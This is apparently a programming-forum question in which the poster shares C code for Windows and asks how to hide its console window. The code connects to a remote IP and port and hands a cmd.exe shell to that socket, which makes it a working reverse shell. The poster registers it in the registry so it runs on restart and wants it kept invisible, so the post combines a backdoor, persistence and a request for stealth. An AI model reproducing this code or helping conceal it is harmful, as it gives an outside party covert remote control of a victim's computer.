I am trying to create a program that connects to a socket. I want it to always stay connected so I am adding it to the registry to start on restart. I found this script online and it works as intended, however the console (cmd.exe) stays open when it is launched. I was wondering if it is possible to hide the console but keep the connection alive?
void RunSocket(char *a, char *b) {
WSADATA wsaData;
SOCKET Winsock;
struct sockaddr_in hax;
char ip_addr[16];
STARTUPINFO ini_processo;
PROCESS_INFORMATION processo_info;
WSAStartup(MAKEWORD(2,2), &wsaData);
Winsock=WSASocket(AF_INET,SOCK_STREAM,IPPROTO_TCP,NULL,(unsigned int)NULL,(unsigned int)NULL);
struct hostent *host;
host = gethostbyname(a);
strcpy(ip_addr, inet_ntoa(*((struct in_addr *)host->h_addr)));
hax.sin_family = AF_INET;
hax.sin_port = htons(atoi(b));
hax.sin_addr.s_addr =inet_addr(ip_addr);
WSAConnect(Winsock,(SOCKADDR*)&hax, sizeof(hax),NULL,NULL,NULL,NULL);
memset(&ini_processo, 0, sizeof(ini_processo));
ini_processo.cb=sizeof(ini_processo);
ini_processo.dwFlags=STARTF_USESTDHANDLES;
ini_processo.hStdInput = ini_processo.hStdOutput = ini_processo.hStdError = (HANDLE)Winsock;
CreateProcess(NULL, "cmd.exe", NULL, NULL, TRUE, 0, NULL, NULL, &ini_processo, &processo_info);
}
This is the function that runs. It is wrapped in a plain main function that accepts command line arguments for IP and PORT. It is ran by the command
script.exe 192.168.1.1 9880
I have tried building it as a Win32 GUI application but it does the same thing. I followed the steps outlined here How to get ride of console box of a GUI program compile by MinGW + Code::Block
Any help would be greatly appreciated.